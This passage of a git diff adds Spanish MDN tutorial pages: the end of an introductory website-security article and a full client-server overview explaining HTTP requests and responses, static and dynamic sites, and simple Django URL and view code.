+ <li>Usar herramientas de <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">escanéo de vulnerabilidade</a><a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">s</a> para realizar pruebas automáticas de seguridad en tu sitio (más adelante, si tu sitio web llega a ser super exitoso puedes también encontrar bugs por medio de ofrecer recompensas por encontrar bugs <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">como hace Mozilla aquí</a>).</li>
+ <li>Almacena y muestra sólo los datos que necesiten serlo. Por ejemplo, si tus usuarios deben almacenar información sensible como los detalles de las tarjetas de crédito, sólo muestra lo suficiente del número de tarjeta de manera que pueda ser identificada por el usuario, y no suficiente para que pueda ser copiado por el atacante y usado en otro sitio. El patrón más común hoy en día es mostrar sólo los 4 últimos dígitos del número de la tarjeta de crédito.</li>
+</ul>
+
+<p>Los frameworks web pueden ayudar a mitigar muchas de las vulnerabilidades más comunes.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Este artículo ha explicado el concepto de seguridad en sitios web y algunas de las amanazas más comunes contra las que tu sitio debería empezar a protegerse. Lo más importante que deberías entender es que ¡una aplicación web no puede confiar en ningún dato que provenga de explorador web! Todos los datos de usuario deberían ser desinfectados antes de ser mostrados, o usados en queries SQL o llamadas a ficheros de sistema.</p>
+
+<p>Hemos llegado al final de <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">este módulo</a>, tratando tus primeros pasos en la programación de lado servidor de un sitio web. Esperamos que hayas disfrutado del aprendizaje de los conceptos fundamentales y estés listo para seleccionar un framework web y empezar a programar.</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
+
+
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios web</a></li>
+</ul>
diff --git a/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html b/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html
new file mode 100644
index 0000000000..05ce1f9451
--- /dev/null
+++ b/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html
@@ -0,0 +1,334 @@
+---
+title: Visión General Cliente-Servidor
+slug: Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">Ahora que conoces el propósito y los beneficios potenciales de la programación de lado-servidor vamos a examinar en detalle lo que ocurre cuando un servidor recibe una "petición dinámica" desde un explorador web. Ya que el código de lado servidor de la mayoría de los sitios web gestiona peticiones y respuestas de formas similares, este artículo te ayudará a entender lo que necesitas hacer para escribir la mayor parte de tu propio código.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de computación. Noción básica de lo que es un servidor.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender lo que son las interacciones cliente-servidor en un sitio web dinámico, y en particular que operaciones necesita realizar el código de lado servidor.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>No hay código real en el debate porque ¡todavía no hemos seleccionado el framework web que usaremos para escribir nuestro código! Sin embargo este debate sí que es muy relevante incluso ahora, porque el comportamiento descrito debería ser implementado por tu código de lado servidor independientemente de qué lenguaje de programación o framework web hayas seleccionado.</p>
+
+<h2 id="Servidores_Web_y_HTTP_(iniciación)">Servidores Web y HTTP (iniciación)</h2>
+
+<p>Los exploradores web se comunican con los <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transferencia de HyperTexto (<strong>H</strong>yper<strong>T</strong>ext<strong>T</strong>ransfer <strong>P</strong>rotocol <a href="/en-US/docs/Web/HTTP">HTTP</a>). Cuando pinchas en un enlace sobre una página web, envías un formulario o ejecutas una búsqueda, el explorador envía una petición (<em>Request) </em>HTTP al servidor.</p>
+
+<p>Esta petición incluye:</p>
+
+<ul>
+ <li>Una URL que identifica el servidor de destino y un recurso (ej. un fichero HTML, un punto de datos particular en el servidor, o una herramienta a ejecutar).</li>
+ <li>Un método que define la acción requerida (por ejemplo, obtener un fichero o salvar o actualizar algunos datos). Los diferentes métodos/verbos y sus acciones asociadas se listan debajo:
+  <ul>
+   <li><code>GET</code>: Obtener un recurso específico (ej. un fichero HTML que contiene información acerca de un producto  o una lista de productos).</li>
+   <li><code>POST</code>: Crear un nuevo recurso (ej. añadir un nuevo artículo a una wiki, añadir un nuevo contacto a una base de datos). </li>
+   <li><code>HEAD</code>: Obtener la información de los metadatos sobre un recurso específico sin obtener el cuerpo entero tal como haría <code>GET</code>. Podrías, por ejemplo, usar una petición <code>HEAD</code> para encontrar la última vez que un  recurso fue actualizado, y a continuación usar la petición <code>GET</code> (más "cara") para descargar el recurso sólo si éste ha cambiado. </li>
+   <li><code>PUT</code>: Actualizar un recurso existente (o crear uno nuevo si no existe).</li>
+   <li><code>DELETE</code>: Borrar el recurso específico.</li>
+   <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: Estos verbos son para tareas menos comunes/avanzadas, por lo que no los trataremos aquí.</li>
+  </ul>
+ </li>
+ <li>Se puede codificar información adicional con la petición (por ejemplo, datos de un formulario HTML). La información puede ser codificada como:
+  <ul>
+   <li>Parámetros URL: Las peticiones <code>GET</code> codifican los datos en la URL enviada al servidor añadiendo al final pares nombre/valor — por ejemplo, <code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>. Siempre encontrarás un signo de interrogación(<code>?</code>) separando los parámetros URL del resto de la misma, un signo igual (<code>=</code>) separando cada nombre de su valor asociado y un ampersand (<code>&amp;</code>) separando cada par. Los parámetros URL son inherentemente "inseguros" ya que pueden ser modificados por los usuarios y ser enviados de nuevo. Como consecuencia los parámetros URL/peticiones <code>GET</code> no se usan para peticiones de actualización de datos en el servidor.</li>
+   <li>Datos <code>POST</code>. Las peticiones <code>POST</code> añaden nuevos recursos, cuyos datos están codificados dentro del cuerpo de la petición.</li>
+   <li>Cookies de lado cliente. Los Cookies contienen datos de sesión acerca del cliente, incluyendo las claves que el servidor puede usar para determinar su estado de incio de sesión y los permisos/accesos a los recursos.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La respuesta contiene un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> que indica si la petición ha tenido éxito o no (ej. "<code>200 OK</code>" para indicar éxito, "<code>404 Not Found</code>" si el resurso no ha podido ser encontrado,  "<code>403 Forbidden</code>" si el usuario no está autorizado a acceder al recurso, etc). El cuerpo de la respuesta de éxito a una petición <code>GET</code> contendría el recurso solicitado.</p>
+
+<p>Cuando se devuelve una página HTML es renderizada por el explorador web. Como parte del procesamiento el explorador puede descubrir enlaces a otros recursos (ej. una página HTML normalmente referencia las páginas JavaScript y CSS), y enviará peticiones HTTP separadas para descargar estos ficheros.</p>
+
+<p>Los sitios web tanto estáticos como dinámicos (abordados en las secciones siguientes) usan exactamente los mismos protocolos/patrones de comunicación.</p>
+
+<h3 id="Ejemplo_de_peticiónrespuesta_GET">Ejemplo de petición/respuesta GET</h3>
+
+<p>Puedes realizar una petición <code>GET</code> simplemente pinchando sobre un enlace o buscando en un sitio (como la página inicial de un motor de búsquedas). Por ejemplo, la petición HTTP que se envía cuando realizas una búsqueda en MDN del término "visión general cliente servidor" se parecerá mucho al texto que se muestra más abajo (no será idéntica porque algunas partes del mensaje dependen de tu explorador/configuración).</p>
+
+<div class="note">
+<p>El formato de los mensajes HTTP está definido en el "estándard web" (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). No necesitas conocer este nivel de detalle, pero al menos ¡ahora sabes de donde viene todo esto!</p>
+</div>
+
+<h4 id="La_petición">La petición</h4>
+
+<p>Cada linea de la petición contiene información sobre ella. La primera parte se llama <strong>cabecera</strong> o <strong>header</strong>, y contiene información útil sobre la petición, de la misma manera que un <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a> contiene información útil sobre un documento (pero no el contenido mismo, que está en el cuerpo):</p>
+
+<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>La primera y segunda líneas contienen la mayoría de la información de la que hemos hablado arriba:</p>
+
+<ul>
+ <li>El tipo de petición (<code>GET</code>).</li>
+ <li>La URL del recurso de destino (<code>/en-US/search</code>).</li>
+ <li>Los parámetros URL (<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev</code>).</li>
+ <li>El destino/host del sitio web (developer.mozilla.org).</li>
+ <li>El final de la primera linea también incluye una cadena corta que identifica la versión del protocolo utilizado (<code>HTTP/1.1</code>).</li>
+</ul>
+
+<p>La última linea contiene información sobre los cookies del lado cliente — puedes ver que en este caso el cookie incluye un id para gestionar las sesiones (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p>
+
+<p>Las líneas restantes contienen información sobre el explorador web usado y la clase de respuestas que puede manejar. Por ejemplo, puedes ver aquí que:</p>
+
+<ul>
+ <li>Mi explorador (<code>User-Agent</code>) es Mozilla Firefox (<code>Mozilla/5.0</code>).</li>
+ <li>Puede aceptar información comprimida gzip (<code>Accept-Encoding: gzip</code>).</li>
+ <li>Puede aceptar el conjunto de caracteres especificado (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) y los idiomas (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li>La linea <code>Referer</code> indica la dirección de la página web que contenía el enlace a este recurso (es decir, el origen de la petición, <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>Las peticiones HTTP también pueden tener un cuerpo, pero está vacío en este caso.</p>
+
+<h4 id="La_respuesta">La respuesta</h4>
+
+<p>La primera parte de la respuesta a esta petición se muestra abajo. La cabecera o header contiene información como la siguiente:</p>
+
+<ul>
+ <li>La primera linea incluye el código de respuesta <code>200 OK</code>, que nos dice que la petición ha tenido éxito.</li>
+ <li>Podemos ver que la respuesta está formateada (<code>Content-Type</code>) en modo <code>text/html</code>.</li>
+ <li>Podemos ver que usa también el conjunto de caracteres UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>La cabecera también nos dice lo grande que es (<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>Al final del mensaje vemos el contenido del <strong>cuerpo</strong> (<strong>body</strong>) — que contiene el HTML real devuelto por la respuesta.</p>
+
+<pre class="brush: html">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>El resto de la cabecera de la respuesta incluye información sobre la respuesta (ej. cuándo se generó), el servidor, y cómo espera el explorador manejar la página (ej. la linea <code>X-Frame-Options: DENY</code> le dice que al explorador que no está permitido incrustar esta página en un {{htmlelement("iframe")}} en otro sitio).</p>
+
+<h3 id="Ejemplo_de_peticiónrespuesta_POST">Ejemplo de petición/respuesta POST</h3>
+
+<p>Un HTTP <code>POST</code> se realiza cuando se envía un formulario que contiene información para ser guardada en el servidor.</p>
+
+<h4 id="La_petición_2">La petición</h4>
+
+<p>El texto de abajo muestra la petición HTTP realizada cuando un usuario envía al sitio los detalles de un nuevo perfil. El formato de la petición es casi el mismo que en la petición <code>GET</code> del ejemplo mostrado previamente, aunque la primera linea identifica esta petición como <code>POST</code>. </p>
+
+<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>La principal diferencia es que la URL no tiene parámetros. Como puedes ver, la información del formulario se codifica en el cuerpo de la petición (por ejemplo, el nombre completo del nuevo usuario se establece usando: <code>&amp;user-fullname=Hamish+Willee</code>).</p>
+
+<h4 id="La_respuesta_2">La respuesta</h4>
+
+<p>La respuesta a la petición se muestra abajo. El código de estado "<code>302 Found</code>" le dice al explorador que el POST ha tenido éxito, y que debe realizar una segunda petición HTTP para cargar la página especificada en el campo <code>Location</code>. La información es de lo contrario similar a la respuesta a una petición <code>GET</code>.</p>
+
+<pre class="brush: html">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Las repuestas y las peticiones HTTP mostradas en estos ejemplos fueron capturadas usando la aplicación <a href="https://www.telerik.com/download/fiddler">Fiddler</a>, pero puedes obtener información similar usando sniffers web (ej. <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>) o usando extensiones del explorador como <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>. Puedes probarlo por tí mismo. Usa una de las herramientas enlazadas, y a continuación navega a través de un sitio y edita información del perfil para ver las diferentes peticiones y respuestas. La mayoría de los exploradores modernos también tienen herramientas que monitorizan las peticiciones de red (Por ejemplo, la herramienta <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> en Firefox).</p>
+</div>
+
+<h2 id="Sitios_estáticos">Sitios estáticos</h2>
+
+<p>Un <em>sitio estático</em> es aquél que devuelve desde el servidor el mismo contenido establecido de forma fija en el código cada vez que se solicita una página en particular. De manera que si por ejemplo tienes una página sobre un producto en <code>/static/myproduct1.html</code> , a todos los usuarios se les devolverá la misma página. Si añades otro producto similar a tu sitio necesitarás añadir otra página (ej. <code>myproduct2.html</code>) etc... Esto puede llegar a ser realmente muy poco eficiente — ¿qué sucede cuando alcanzas miles de páginas de productos? Repetirías un montón de código a lo largo de cada página (la plantilla básica de la página, la estructura, etc), y si quisieras cambiar cualquier cosa de la estructura de la página — como añadir una nueva sección de "productos relacionados" por ejemplo — tendrías que cambiar cada página individualmente. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los sitios estáticos son excelentes cuando tienes un pequeño número de páginas y quieres enviar el mismo contenido a todos los usuarios. Sin embargo pueden tener un coste de mantenimiento significante a medida que es número de páginas se hace grande.</p>
+</div>
+
+<p>Recapitulemos cómo funciona ésto, mirando otra vez el diagrama de la arquitectura de un sitio estático que vimos en el anterior artículo.</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP <code>GET</code> especificando la URL de su página HTML. El servidor recupera el documento solicitado de su sistema de ficheros y devuelve una respuesta HTTP conteniendo el documento y un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> "<code>200 OK</code>" (indicando éxito). El servidor podría devolver un código de estado diferente, por ejemplo "<code>404 Not Found</code>" si el fichero no está presente en el servidor, o "<code>301 Moved Permanently</code>" si el fichero existe pero ha sido redirigido a una localización diferente.</p>
+
+<p>El servidor de un sitio estático sólo tendrá que procesar peticiones GET, ya que el servidor no almacena ningún dato modificable. Tampoco cambia sus respuestas basádonse en los datos de la petición HTTP (ej. parámetros URL o cookies). </p>
+
+<p>Entendiendo cómo funcionan los sitios estáticos es útil sin embargo cuando se aprende programación de lado servidor, porque los sitios dinámicos gestionan las peticiones de ficheros estáticos (CSS, JavaScript, imágenes estáticas, etc.) exactamente de la misma forma.</p>
+
+<h2 id="Sitios_dinámicos">Sitios dinámicos</h2>
+
+<p>Un <em>sitio dinámico</em> es aquél que puede generar y devolver contenido basándose en la URL y los datos específicos de la petición (en vez de devolver siempre para una URL en particular el mismo fichero especificado en el código de forma fija). Usando el ejemplo de un sitio de productos, el servidor almacenaría "datos" del producto en una base de datos en vez de ficheros HTML individuales. Cuando se reciba una petición HTTP <code>GET</code> para un producto, el servidor determina el ID del mismo, extrae los datos de la base y construye la página HTML de la respuesta insertando los datos dentro de la plantilla HTML. Esto tiene una ventaja primordial sobre un sitio estático: </p>
+
+<p>Usar una base de datos permite que la información del producto se almacene de forma eficiente y que se pueda ampliar, modificar y buscar fácilmente.</p>
+
+<p>Usar plantillas HTML hace que sea muy fácil cambiar la estructura HTML, porque sólo se necesita hacer en un sólo lugar, en una única plantilla y no a lo largo de miles de páginas estáticas.</p>
+
+<h3 id="Anatomía_de_una_petición_dinámica">Anatomía de una petición dinámica</h3>
+
+<p>Esta sección proporciona una visión general paso a paso de un ciclo de petición y respuesta HTTP "dinámicas", construyendo con más detalle lo que vimos en el último artículo. Para "hacer cosas reales" usaremos el contexto del sitio web de un manager de equipos deportivos donde un entrenador puede seleccionar el nombre y tamaño de su equipo en un formulario HTML y obtener de vuelta una sugerencia de "mejor alineación" para el próximo partido. </p>
+
+<p>El diagrama de abajo muestra los elementos principales del sitio web del "entrenador del equipo", junto con etiquetas numeradas de la secuencia de operaciones cuando el entrenador accede a su lista de "mejor equipo". Las partes del sitio que lo hacen dinámico son las <em>Aplicaciones Web</em> (que es como llamaremos al código del lado servidor que procesa las peticiones HTTP y devuelve respuestas HTTP), la <em>Base de Datos</em>, que contiene la información sobre los jugadores, equipos, entrenadores y sus relaciones, y las <em>Plantillas HTML</em>.</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>Después de que el entrenador envíe el formulario con el nombre del equipo y el número de jugadores, la secuencia de operaciones es la siguiente:</p>
+
+<ol>
+ <li>El explorador web crea una petición HTTP <code>GET</code> al servidor usando la URL base del recurso (<code>/best</code>) y codifica el equipo y número de jugadores como parámetros URL (ej. <code>/best?team=my_team_name&amp;show=11)</code> o formando parte de un patrón URL (ej. <code>/best/my_team_name/11/</code>). Se usa una petición <code>GET</code> porque la petición sólo recoge datos (no modifica ninguno).</li>
+ <li>El S<em>ervidor Web</em> detecta que la petición es "dinámica" y la reenvía a la <em>Aplicación</em> para que la procese (el servidor web determina como manejar diferentes URLs basándose en reglas de emparejamiento de patrones definidas en su configuración).</li>
+ <li>La <em>Aplicación Web</em> identifica que la intención de la petición es obtener la "lista del mejor equipo" basándose en la URL (<code>/best/</code>) y encuentra el nombre del equipo y el número de jugadores requeridos a partir de la URL. La <em>Aplicación Web</em> obtiene entonces la información solicitada de la base de datos (usando parámetros "internos" adicionales que definen qué jugadores son los "mejores", y posiblemente también obteniendo la identidad del entrenador que ha iniciado sesión a partir de un cookie del lado cliente).</li>
+ <li>La <em>Aplicación Web</em> crea dinámicamente una página HTML por medio de colocar los datos (de la <em>base</em>) en marcadores de posición dentro de la plantilla HTML.</li>
+ <li>La <em>Aplicación Web</em> devuelve el HTML generado al explorador web (via el <em>Servidor Web</em>), junto con un código de estado HTTP de 200 ("éxito"). Si algo impide que se pueda devolver el HTML entonces la <em>Aplicación Web</em> devolverá otro código — por ejemplo "404" para indicar que el equipo no existe.</li>
+ <li>El Explorador Web comenzará a continuación a procesar el HTML devuelto, enviando peticiones separadas para obtener cualquier otro fichero CSS o JavaScript que sea referenciado (ver paso 7).</li>
+ <li>El Servidor Web carga ficheros estáticos del sistema de ficheros y los devuelve al explorador directamente (de nuevo, la gestión correcta de los ficheros está basada en las reglas de configuración y de emparejamiento de patrones URL).</li>
+</ol>
+
+<p>La operación de actualizar un registro de la base de datos se gestionaría de forma similar, excepto que, como para cualquier actualización de la base de datos, la petición HTTP desde el explorador debería ser codificada como petición <code>POST</code>. </p>
+
+<h3 id="Realización_de_otros_trabajos">Realización de otros trabajos</h3>
+
+<p>La misión de una <em>Aplicación Web</em> es recibir peticiones HTTP y devolver respuestas HTTP. Mientras que interactuar con la base datos para obtener o actualizar información son tareas muy comunes, el código puede hacer otras cosas al mismo tiempo, o no interactuar con una base de datos en absoluto.</p>
+
+<p>Un buen ejemplo de una tarea adicional que una <em> Aplicación Web</em> podría realizar sería el envío de un correo electrónico a los usuarios para confirmar su registro en el sitio. El sito podría también realizar logging u otras operaciones.</p>
+
+<h3 id="Devolución_de_alguna_otra_cosa_distinta_a_HTML">Devolución de alguna otra cosa distinta a HTML</h3>
+
+<p>El código lado servidor de un sitio web no tiene que devolver fragmentos/ficheros HTML en la respuesta. Puede en vez de eso crear dinámicamente y devolver otros tipos de ficheros (texto, PDF, CSV, etc.) o incluso datos (jSON, XML, etc.).</p>
+
+<p>La idea de devolver datos a un explorador web de forma que pueda actualizar su propio contenido dinámicamente ({{glossary("AJAX")}}) ha estado dando vueltas durante bastante tiempo. Más recientemente han llegado a ser muy populares las "apps de una sola página", donde el sitio web entero está escrito con un solo fichero HTML que es actualizado dinámicamente cuando se necesita. Los sitios web creados usando este estilo de aplicación transfieren una gran parte del coste computacional desde el servidor al explorador web, y pueden dar como resultado sitios web que se comportan mucho más como aplicaciones nativas (con una respuesta rápida "highly responsive", etc.).</p>
+
+<h2 id="Los_frameworks_Web_simplifican_la_programación_de_lado_servidor">Los frameworks Web simplifican la programación de lado servidor</h2>
+
+<p>Los frameworks de lado servidor hacen mucho más fácil escribir código para gestionar las operaciones descritas más arriba.</p>
+
+<p>Una de las operaciones más importantes que realizan es proporcionar mecanismos simples para mapear las URLs de diferentes recursos/páginas a funciones para su gestión específicas. Esto hace más fácil mantener separado el código asociado con cada recurso. Esto tiene también beneficios en términos de mantenimiento, ya que puedes cambiar la URL usada para entregar una característica particular en un sitio, sin tener que cambiar la función de gestión.</p>
+
+<p>Por ejemplo, considera el siguiente código Django (Python) que mapea dos patrones URL a dos funciones de visualización. El primer patrón asegura que una petición HTTP con una URL de  <code>/best</code> sea pasada a la función llamada <code>index()</code> en el módulo <code>views</code>. En cambio, una petición que tiene el patrón "<code>/best/junior</code>", se pasará a la función de visualización <code>junior()</code>.</p>
+
+<pre class="brush: python"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El primer parámetro en las funciones <code>url()</code> puede parecer un poco extraño (ej. <code>r'^junior/$'</code>) porque usan una técnica de emparejamiento de patrones llamada "expresiones regulares" ("regular expressions", RegEx, o RE). No necesitas saber cómo funcionan las expresiones regulares en este momento, tan sólo que nos permiten emparejar patrones en el URL (en vez de los valores insertados en el código de forma fija que veíamos más arriba) y los usan como parámetros en nuestras funciones de visualización. Como ejemplo, una RegEx simple podría decir "empareja una simple letra mayúscula, seguida de entre 4 y 7 letras minúsculas."</p>
+</div>
+
+<p>El framework web también hace fácil a una función de visualización extraer información de la base de datos. La estructura de nuestros datos está definida en modelos, que son las clases Python que definen los campos que serán almacenados en la base de datos subyacente. Si tenemos un modelo llamado <em>Team</em> con un campo de "<em>team_type</em>" podemos usar un query de sintaxis simple para recuperar todos los equipos que son de un tipo particular.</p>
+
+<p>Los ejemplos de abajo recuperan una lista de todos los equipos que tienen el <code>team_type</code> de "junior" exacto (teniendo en cuenta la capitalización, mayúsculas o minúsculas) — nota de formato: el nombre del campo (<code>team_type</code>) seguido de un guión bajo doble, y a continuación el tipo de emparejamiento a usar (en este caso <code>exact</code>). Hay muchos otros tipos de emparejamiento y podemos encadenarlos fácilmente. Podemos controlar el orden y número de resultados que se devuelven. </p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p>Después de que la función <code>junior()</code> obtenga la lista de equipos junior, llama a la función <code>render()</code>, pasándole el <code>HttpRequest</code> original,  una plantilla HTML, y un objeto "contexto" que define la información a ser incluida en la plantilla. La función <code>render()</code> es una función de conveniencia que genera HTML usando un contexto y una plantilla HTML, y devuelve un objeto <code>HttpResponse</code>.</p>
+
+<p>Obviamente los frameworks web pueden ayudarte con un monton de otras tareas. Debatiremos sobre un montón más de beneficios y opciones de frameworks web en el próximo artículo.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>En este punto deberías tener una buena visión general de las operaciones que el código de lado servidor tiene que realizar, y conocer algunas de las formas en que un framework web de lado servidor las puede hacer más fáciles.</p>
+
+<p>En el módulo siguiente te ayudaremos a elegir el mejor Framework Web para tu primer sitio.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Introducción al lado servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Visión general Cliente-Servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Frameworks Web de lado servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad Web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html b/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html
new file mode 100644
index 0000000000..8c381a772e
--- /dev/null
+++ b/files/es/learn/server-side/primeros_pasos/web_frameworks/index.html
@@ -0,0 +1,306 @@
+---
